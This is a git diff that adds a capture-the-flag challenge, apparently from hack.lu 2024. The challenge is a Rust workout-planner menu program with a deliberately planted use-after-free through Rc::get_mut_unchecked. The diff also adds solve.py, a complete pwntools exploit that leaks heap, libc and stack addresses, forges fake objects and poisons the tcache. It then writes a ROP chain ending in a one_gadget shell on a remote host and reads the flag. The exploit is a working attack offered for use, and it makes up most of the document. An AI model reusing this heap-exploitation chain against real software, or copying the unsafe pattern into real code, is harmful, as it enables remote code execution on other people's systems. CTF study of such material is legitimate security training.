diff options
| -rw-r--r-- | .gitignore | 2 | ||||
| -rw-r--r-- | blazing-fast-workout-planner_public/Cargo.lock | 7 | ||||
| -rw-r--r-- | blazing-fast-workout-planner_public/Cargo.toml | 6 | ||||
| -rw-r--r-- | blazing-fast-workout-planner_public/Dockerfile | 37 | ||||
| -rw-r--r-- | blazing-fast-workout-planner_public/flag.txt | 1 | ||||
| -rwxr-xr-x | blazing-fast-workout-planner_public/for-your-convenience/chall | bin | 0 -> 4511440 bytes | |||
| -rwxr-xr-x | blazing-fast-workout-planner_public/for-your-convenience/libc.so.6 | bin | 0 -> 2125328 bytes | |||
| -rw-r--r-- | blazing-fast-workout-planner_public/rust-toolchain.toml | 5 | ||||
| -rw-r--r-- | blazing-fast-workout-planner_public/src/main.rs | 129 | ||||
| -rwxr-xr-x | blazing-fast-workout-planner_public/waitdbg | bin | 0 -> 771536 bytes | |||
| -rwxr-xr-x | blazing-fast-workout-planner_public/ynetd | bin | 0 -> 34792 bytes | |||
| -rw-r--r-- | docker-compose.yml | 12 | ||||
| -rwxr-xr-x | exe | bin | 0 -> 4511440 bytes | |||
| -rwxr-xr-x | exe_docker | bin | 0 -> 4511440 bytes | |||
| -rwxr-xr-x | libc.so.6 | bin | 0 -> 2125328 bytes | |||
| -rw-r--r-- | solve.py | 205 | ||||
| -rw-r--r-- | src/main.rs | 129 |
17 files changed, 533 insertions, 0 deletions
diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e6e02c8 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +.gdb_history +target diff --git a/blazing-fast-workout-planner_public/Cargo.lock b/blazing-fast-workout-planner_public/Cargo.lock new file mode 100644 index 0000000..30162e1 --- /dev/null +++ b/blazing-fast-workout-planner_public/Cargo.lock @@ -0,0 +1,7 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "blazing_fast_workout_planner" +version = "0.1.0" diff --git a/blazing-fast-workout-planner_public/Cargo.toml b/blazing-fast-workout-planner_public/Cargo.toml new file mode 100644 index 0000000..2bcd488 --- /dev/null +++ b/blazing-fast-workout-planner_public/Cargo.toml @@ -0,0 +1,6 @@ +[package] +name = "blazing_fast_workout_planner" +version = "0.1.0" +edition = "2021" + +[dependencies] diff --git a/blazing-fast-workout-planner_public/Dockerfile b/blazing-fast-workout-planner_public/Dockerfile new file mode 100644 index 0000000..b3e02a4 --- /dev/null +++ b/blazing-fast-workout-planner_public/Dockerfile @@ -0,0 +1,37 @@ +# To run this challenge locally, +# (1) build the Docker container +# docker build -t hacklu2024/blazing-fast-workout-planner . +# (2) run the Docker container +# docker run --cap-add SYS_ADMIN --security-opt apparmor=unconfined --rm -p 127.0.0.1:1024:1024 -ti hacklu2024/blazing-fast-workout-planner +# and connect to localhost:1024 + +FROM rust:latest AS builder + +RUN mkdir /src + +COPY ./ /src + +RUN cd /src && cargo build + +FROM ubuntu@sha256:d4f6f70979d0758d7a6f81e34a61195677f4f4fa576eaf808b79f17499fd93d1 + +RUN apt update -y && DEBIAN_FRONTEND=noninteractive apt install -y gdb rustup git +RUN rustup toolchain add nightly-2024-09-09 || : +RUN cd /tmp && git clone https://github.com/pwndbg/pwndbg.git && cd pwndbg && bash setup.sh + +RUN useradd --no-create-home --shell /bin/bash ctf + +COPY ynetd /sbin/ynetd + +COPY flag.txt /flag.txt + +COPY --from=builder /src/target/debug/blazing_fast_workout_planner /chall + +RUN chown -R root:root /sbin && \ + chown root:root /flag.txt && \ + chown root:root /chall && \ + chmod 744 /flag.txt && \ + chmod 755 /chall + +SHELL ["/bin/sh", "-c"] +CMD ynetd -lt 15 -t 0 -lm 268435456 -lpid 128 -sh n -d / /chall diff --git a/blazing-fast-workout-planner_public/flag.txt b/blazing-fast-workout-planner_public/flag.txt new file mode 100644 index 0000000..aab0282 --- /dev/null +++ b/blazing-fast-workout-planner_public/flag.txt @@ -0,0 +1 @@ +flag{n0t_s0_s4f3_4ft3r4ll} diff --git a/blazing-fast-workout-planner_public/for-your-convenience/chall b/blazing-fast-workout-planner_public/for-your-convenience/chall Binary files differnew file mode 100755 index 0000000..d12f42c --- /dev/null +++ b/blazing-fast-workout-planner_public/for-your-convenience/chall diff --git a/blazing-fast-workout-planner_public/for-your-convenience/libc.so.6 b/blazing-fast-workout-planner_public/for-your-convenience/libc.so.6 Binary files differnew file mode 100755 index 0000000..4b60044 --- /dev/null +++ b/blazing-fast-workout-planner_public/for-your-convenience/libc.so.6 diff --git a/blazing-fast-workout-planner_public/rust-toolchain.toml b/blazing-fast-workout-planner_public/rust-toolchain.toml new file mode 100644 index 0000000..1bf3dc3 --- /dev/null +++ b/blazing-fast-workout-planner_public/rust-toolchain.toml @@ -0,0 +1,5 @@ +[toolchain] +channel = "nightly-2024-09-09" +components = [ "cargo", "rustc", "rust-std" ] +targets = [ "x86_64-unknown-linux-gnu" ] +profile = "minimal" diff --git a/blazing-fast-workout-planner_public/src/main.rs b/blazing-fast-workout-planner_public/src/main.rs new file mode 100644 index 0000000..7dca719 --- /dev/null +++ b/blazing-fast-workout-planner_public/src/main.rs @@ -0,0 +1,129 @@ +#![feature(get_mut_unchecked)] + +use std::collections::BTreeMap; +use std::io::{self, Read, Stdin, Stdout, Write}; +use std::iter::RepeatN; +use std::rc::Rc; + +struct InputHelper { + stdin: Stdin, + stdout: Stdout, + buf: Vec<u8>, +} + +impl InputHelper { + fn with_capacity(cap: usize) -> Self { + let stdin = io::stdin(); + let stdout = io::stdout(); + Self { + stdin, + stdout, + buf: vec![0u8; cap], + } + } + + fn ask(&mut self, msg: &str) -> &[u8] { + self.stdout.write(msg.as_bytes()).unwrap(); + self.stdout.write(b"\n").unwrap(); + let len = self.stdin.read(&mut self.buf).unwrap(); + &self.buf[..len].trim_ascii() + } + + fn ask_num(&mut self, msg: &str) -> i64 { + let buf = self.ask(msg); + std::str::from_utf8(buf).unwrap().parse().unwrap() + } +} + +#[derive(Debug)] +struct Exercise { + name: Vec<u8>, + description: Vec<u8>, +} + +#[derive(Debug, Clone)] +struct Workout { + exercises: Vec<RepeatN<Rc<Exercise>>>, +} + +fn main() { + let mut exercises = BTreeMap::new(); + let mut workouts = Vec::new(); + + let mut input = InputHelper::with_capacity(0x100); + + println!("Welcome to your personal training helper! Here are your options:"); + loop { + println!("1. : add a new exercise to your portfolio"); + println!("2. : plan a new workout"); + println!("3. : start a training session"); + println!("4. : edit an exercise"); + println!("5. : exit the app"); + + let line = input.ask("Choose an option: ").trim_ascii(); + match &*line { + b"1" => { + let name = input.ask("What's the name of your exercise? ").to_owned(); + + let description = input + .ask("what is the description of your exercise? ") + .to_owned(); + + let name2 = name.clone(); + let exercise: Exercise = Exercise { name, description }; + exercises.insert(name2, Rc::new(exercise)); + println!("Exercise added!"); + } + b"2" => { + let num_exercises = input.ask_num("How many exercises should your workout have? "); + let mut workout = Workout { + exercises: Vec::new(), + }; + + for _ in 0..num_exercises { + let name = input.ask("Enter the name of the exercise: "); + if let Some(exercise) = exercises.get(name) { + let num_repetitions = + input.ask_num("How many times should your exercise be repeated? "); + workout.exercises.push(std::iter::repeat_n( + Rc::clone(exercise), + num_repetitions as usize, + )); + } else { + println!("No exercise found with that name."); + } + } + + println!("Your workout has id {}", workouts.len()); + workouts.push(workout); + } + b"3" => { + let id = input.ask_num("what's the id of your workout? "); + + let workout = &workouts[id as usize]; + + for exercise in workout.exercises.iter().cloned() { + for ex in exercise { + println!("{:?} - {:?}", ex.name, ex.description); // pls help, this looks weird :( + } + } + } + b"4" => { + let name = input.ask("Enter the name of the exercise you want to edit: "); + if let Some(exercise) = exercises.get_mut(name) { + let description = input.ask("Enter the new description: "); + unsafe { + Rc::get_mut_unchecked(exercise) + .description + .copy_from_slice(description) + } + println!("Exercise updated!"); + } else { + println!("No exercise found with that name."); + } + } + b"5" => break, + _ => println!("That was not a valid option"), + } + } +} diff --git a/blazing-fast-workout-planner_public/waitdbg b/blazing-fast-workout-planner_public/waitdbg Binary files differnew file mode 100755 index 0000000..f9252f0 --- /dev/null +++ b/blazing-fast-workout-planner_public/waitdbg diff --git a/blazing-fast-workout-planner_public/ynetd b/blazing-fast-workout-planner_public/ynetd Binary files differnew file mode 100755 index 0000000..03f986a --- /dev/null +++ b/blazing-fast-workout-planner_public/ynetd diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..7be6875 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,12 @@ +services: + workout_planner: + build: ./blazing-fast-workout-planner_public + ports: + - "1024:1024" + security_opt: + - apparmor:unconfined + cap_add: + - SYS_ADMIN + volumes: + - ./blazing-fast-workout-planner_public/src:/source + Binary files differdiff --git a/exe_docker b/exe_docker Binary files differnew file mode 100755 index 0000000..d12f42c --- /dev/null +++ b/exe_docker diff --git a/libc.so.6 b/libc.so.6 Binary files differnew file mode 100755 index 0000000..4b60044 --- /dev/null +++ b/libc.so.6 diff --git a/solve.py b/solve.py new file mode 100644 index 0000000..61b175a --- /dev/null +++ b/solve.py @@ -0,0 +1,205 @@ +from os import kill +from signal import SIGKILL +from pwn import * +from ast import literal_eval +from pwnlib.gdb import psutil + + +def add_exercise(io, name, description): + io.readuntil(b"Choose an option: ") + io.sendline(b"1") + io.readuntil(b"What's the name") + io.sendline(name) + io.readuntil(b"what is the description") + io.sendline(description) + + +def add_workout(io, exercises): + io.readuntil(b"Choose an option: ") + io.sendline(b"2") + io.readuntil(b"How many exercises") + io.sendline(str(len(exercises)).encode()) + for name,count in exercises: + io.readuntil(b"Enter the name") + io.sendline(name) + io.readuntil(b"How many times") + io.sendline(str(count).encode()) + io.readuntil(b"Your workout has id ") + return int(io.readline()) + + +def show_workout(io, wid): + io.readuntil(b"Choose an option: ") + io.sendline(b"3") + io.readuntil(b"what's the id of your workout? \n") + io.sendline(str(wid).encode()) + exercises = [] + while True: + line = io.readline() + if b" - " not in line: + io.unrecv(line) + break + parts = line.decode().strip().split(" - ") + name, description = map(bytes, map(literal_eval, parts)) + exercises.append((name, description)) + return exercises + + +def edit_exercise(io, name, description): + io.readuntil(b"Choose an option: ") + io.sendline(b"4") + io.readuntil(b"Enter the name") + io.sendline(name) + io.readuntil(b"Enter the new description") + io.sendline(description) + + +def bp(io): + io.readuntil(b"Choose an option: ") + io.sendline(b"break") + io.unread(io.readuntil(b"Choose")) + + +def leave(io): + io.readuntil(b"Choose an option: ") + io.sendline(b"5") + io.close() + + +def unmask(p): + for o in range(48, 0, -12): + p ^= ((p >> o) & 0xfff) << (o - 12) + return p + + +def run(): + attach_pid = None + if args.REMOTE: + io = remote("162.55.187.21", 1024) + elif args.DOCKER: + io = remote("localhost", 1024) + if args.ATTACH: + io.unread(io.readuntil(b"Choose")) + pid = next(p.pid for p in psutil.process_iter() if p.cmdline() == ["/chall"]) + attach_pid = run_in_new_terminal(f"sudo nsenter -t {pid} -a sh -c \"rustup run nightly-2024-09-09 rust-gdb -p \\$(pidof chall) -ex 'directory /source' -ex 'b src/main.rs:126' -ex 'c'\"", kill_at_exit=False) + input() + else: + io = process("./exe") + if args.ATTACH: + io.unread(io.readuntil(b"Choose")) + attach_pid = run_in_new_terminal(f"rustup run nightly-2024-09-09 rust-gdb -ex 'file exe' -ex 'b src/main.rs:126' -ex 'c' -p {io.proc.pid}", kill_at_exit=False) + sleep(3) + + # structure sizes and layouts: + # - vec: 0x18 size (cap | ptr | len) + # - rc<excercise>: 0x40 size (strong | weak | name_vec | desc_vec) + # - repeat_n: 0x10 size (ptr | count) + # - workout: 0x18 size (vec) + + # vec defaults to cap = 4, as such: + # - vec<repeat_n>.inner.ptr: 0x10 * 4 = 0x40 + # - vec<workout>.inner.ptr: 0x18 * 4 = 0x60 + + print("START") + + # setup UAF for rc<excercise> + add_exercise(io, b"0", b"A") + old = add_workout(io, [(b"0", 0)]) + add_exercise(io, b"0", b"B") + + # add workout (vec<repeat_n>), this fills UAF chunk (same size 0x40). + # later, because of repeat_n layout, we can increment repeat_n pointer by + # incrementing the old rc<excercise> via UAF. + new = add_workout(io, [(b"0", 1)]) + + # to leak libc we create a new excercise and free it.. + add_exercise(io, b"1" * 0x10, b"C" * 0x40) # 0x40 important later for fake excercise + add_exercise(io, b"1" * 0x10, b"D") + + # ..then we point the old repeat pointer to the newly freed excercise. + # the excercise's name and description vec are still valid because + # insert returns the old value so old exercise is dropped / freed last. + for i in range(0x50 + 0x50): + show_workout(io, old) + + # show_workout now gives the fd_ptr field of both free'd name and + # description chunks of the new exercise, thereby leaking heap aslr. + name, _ = show_workout(io, new)[0] + heap_leak = u64(name[:8]) + tcache_key = name[8:16] + heap_base = (unmask(heap_leak) & ~0xfff) - 0x3000 + print("HEAP", hex(heap_base)) + + # now that we know heap_base, we can replace the freed excercise with + # a fake one and use show_workout to do arbitrary read. + + # first we leak libc.. + fake = p64(1) + p64(1) # strong and weak count + fake += p64(0x8) + p64(heap_base + 0x308) + p64(0x8) # name vec + fake += p64(0x8) + p64(heap_base + 0x308) + p64(0x8) # desc vec + add_exercise(io, b"2", fake) + libc_leak = u64(show_workout(io, new)[0][0][:8]) + libc_base = (libc_leak & ~0xfff) - 0x204000 + print("LIBC", hex(libc_base)) + + # reshuffle tcache + add_exercise(io, b"2", b"E") + add_exercise(io, b"2", b"E" * 0x40) + add_exercise(io, b"2", b"E") + + # ..then we leak stack. + fake = p64(1) + p64(1) # strong and weak count + fake += p64(0x8) + p64(libc_base - 0x3000 + 0xa80) + p64(0x8) # name vec + fake += p64(0x8) + p64(libc_base - 0x3000 + 0xa80) + p64(0x8) # desc vec + add_exercise(io, b"2", fake) + stack_leak = u64(show_workout(io, new)[0][0][:8]) + print("STACK LEAK", hex(stack_leak)) + + # setup another UAF for rc<excercise>. here we craft a fake free chunk + # to perform tcache poisoning and write our rop gadget onto the stack. + # after the UAF excercise is fully dropped by replacing it in the btree, + # the freed exercise chunk is first in the tcache bin (0x50) and the bin + # has more than 2 entries, allowing us to fake the third entry. + # (we actually need this to generate exactly 3 tcache entries because + # we always need an exercise chunk (0x50) last and if we have > 3 the + # last fd ptr will not be valid) + one_gadget = libc_base + 0xef4ce + rop_clear_rbx = libc_base + 0x586d4 + rop_clear_r12 = libc_base + 0x110951 + ret_addr = stack_leak - 0xa00 + fd_addr = heap_base + 0x3270 + fd_dest = heap_base + 0x31d0 + fake = b"3" * 0x10 + p64(ret_addr ^ ((fd_dest + 0x10) >> 12)) + tcache_key + fake += b"3" * (0x40 - len(fake)) + add_exercise(io, fake, b"G") + final = add_workout(io, [(fake, 0)]) + add_exercise(io, fake, b"G") + + # use increment to change fd pointer to fake chunk. + fd_curr = fd_dest ^ (fd_addr >> 12) + fd_next = (fd_dest + 0x10) ^ (fd_addr >> 12) + print("FD", hex(fd_curr), hex(fd_next)) + if fd_next < fd_curr: + io.close() + if attach_pid is not None: + kill(attach_pid, SIGKILL) + sleep(1) + return False + for i in range(fd_curr, fd_next): + show_workout(io, final) + add_exercise(io, b"4", b"H" * 0x40) # consume first two 0x50 chunks + bp(io) + rop = p64(0) + p64(rop_clear_r12) + p64(0) + p64(rop_clear_rbx) + p64(0) + p64(one_gadget) + rop += (0x40 - len(rop)) * b"I" + assert b"\n" not in rop + add_exercise(io, b"5", rop) + + io.sendline(b"cat flag.txt") + + io.interactive() + + return True + + +while not run(): + pass diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..7dca719 --- /dev/null +++ b/src/main.rs @@ -0,0 +1,129 @@ +#![feature(get_mut_unchecked)] + +use std::collections::BTreeMap; +use std::io::{self, Read, Stdin, Stdout, Write}; +use std::iter::RepeatN; +use std::rc::Rc; + +struct InputHelper { + stdin: Stdin, + stdout: Stdout, + buf: Vec<u8>, +} + +impl InputHelper { + fn with_capacity(cap: usize) -> Self { + let stdin = io::stdin(); + let stdout = io::stdout(); + Self { + stdin, + stdout, + buf: vec![0u8; cap], + } + } + + fn ask(&mut self, msg: &str) -> &[u8] { + self.stdout.write(msg.as_bytes()).unwrap(); + self.stdout.write(b"\n").unwrap(); + let len = self.stdin.read(&mut self.buf).unwrap(); + &self.buf[..len].trim_ascii() + } + + fn ask_num(&mut self, msg: &str) -> i64 { + let buf = self.ask(msg); + std::str::from_utf8(buf).unwrap().parse().unwrap() + } +} + +#[derive(Debug)] +struct Exercise { + name: Vec<u8>, + description: Vec<u8>, +} + +#[derive(Debug, Clone)] +struct Workout { + exercises: Vec<RepeatN<Rc<Exercise>>>, +} + +fn main() { + let mut exercises = BTreeMap::new(); + let mut workouts = Vec::new(); + + let mut input = InputHelper::with_capacity(0x100); + + println!("Welcome to your personal training helper! Here are your options:"); + loop { + println!("1. : add a new exercise to your portfolio"); + println!("2. : plan a new workout"); + println!("3. : start a training session"); + println!("4. : edit an exercise"); + println!("5. : exit the app"); + + let line = input.ask("Choose an option: ").trim_ascii(); + match &*line { + b"1" => { + let name = input.ask("What's the name of your exercise? ").to_owned(); + + let description = input + .ask("what is the description of your exercise? ") + .to_owned(); + + let name2 = name.clone(); + let exercise: Exercise = Exercise { name, description }; + exercises.insert(name2, Rc::new(exercise)); + println!("Exercise added!"); + } + b"2" => { + let num_exercises = input.ask_num("How many exercises should your workout have? "); + let mut workout = Workout { + exercises: Vec::new(), + }; + + for _ in 0..num_exercises { + let name = input.ask("Enter the name of the exercise: "); + if let Some(exercise) = exercises.get(name) { + let num_repetitions = + input.ask_num("How many times should your exercise be repeated? "); + workout.exercises.push(std::iter::repeat_n( + Rc::clone(exercise), + num_repetitions as usize, + )); + } else { + println!("No exercise found with that name."); + } + } + + println!("Your workout has id {}", workouts.len()); + workouts.push(workout); + } + b"3" => { + let id = input.ask_num("what's the id of your workout? "); + + let workout = &workouts[id as usize]; + + for exercise in workout.exercises.iter().cloned() { + for ex in exercise { + println!("{:?} - {:?}", ex.name, ex.description); // pls help, this looks weird :( + } + } + } + b"4" => { + let name = input.ask("Enter the name of the exercise you want to edit: "); + if let Some(exercise) = exercises.get_mut(name) { + let description = input.ask("Enter the new description: "); + unsafe { + Rc::get_mut_unchecked(exercise) + .description + .copy_from_slice(description) + } + println!("Exercise updated!"); + } else { + println!("No exercise found with that name."); + } + } + b"5" => break, + _ => println!("That was not a valid option"), + } + } +} |
